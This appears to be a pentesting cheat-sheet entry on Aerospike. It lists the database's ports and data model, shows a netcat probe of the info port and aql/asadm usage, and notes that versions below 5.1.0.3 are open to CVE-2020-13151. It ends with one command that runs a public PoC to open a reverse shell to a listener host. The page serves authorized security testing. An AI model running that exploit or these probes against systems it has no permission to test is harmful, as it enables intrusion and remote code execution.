3000-3005 - Aerospike

101

Aerospike is a fast, NoSQL key-value store used in real-time apps—think session storage, user profiles, ad tech, etc. You might encounter it in environments that value speed over complexity, often with large-scale deployments.

Port	Protocol	Description
3000	TCP	Client access (main DB port)
3001	TCP	Internal fabric (cluster communication)
3002	TCP	Heartbeat (node monitoring)
3003	TCP	Info (optional; monitoring/statistics)
3004-3005	TCP	TLS equivalents of above (if enabled)

Aerospike	RDBMS	Description
Namespace	Database	Top-level data container. Configured with storage engine, replication, TTL, etc.
Set	Table	Logical grouping of records within a namespace; a table without enforced schema.
Record	Row	A single data entry identified by a key.
Bin	Column	Key-value pair inside a record.

Manual Probe

$ nc -nv 192.168.X.143 3003
(UNKNOWN) [192.168.X.143] 3003 (?) open
help
...
namespace;truncate-namespace-undo;truncate-undo;version;
version
Aerospike Community Edition build 5.1.0.1

Usage

aql

To interact the aql (Aerospike Query Language) utility can be used:

aql -h <host> -p 3000

Once connected, basic commands look like:

show namespaces;
show sets;
select * from <namespace>.<set>;

asadm

For deeper inspection/admin tasks the Admin Tool (asadm) can be used:

asadm -h <host> -p 3000

Versions

< 5.1.0.3

Vulnerable to CVE-2020-13151 with a PoC available.

$ ./cve2020-13151.py --ahost aero --pythonshell --lhost=192.168.X.154 --lport=80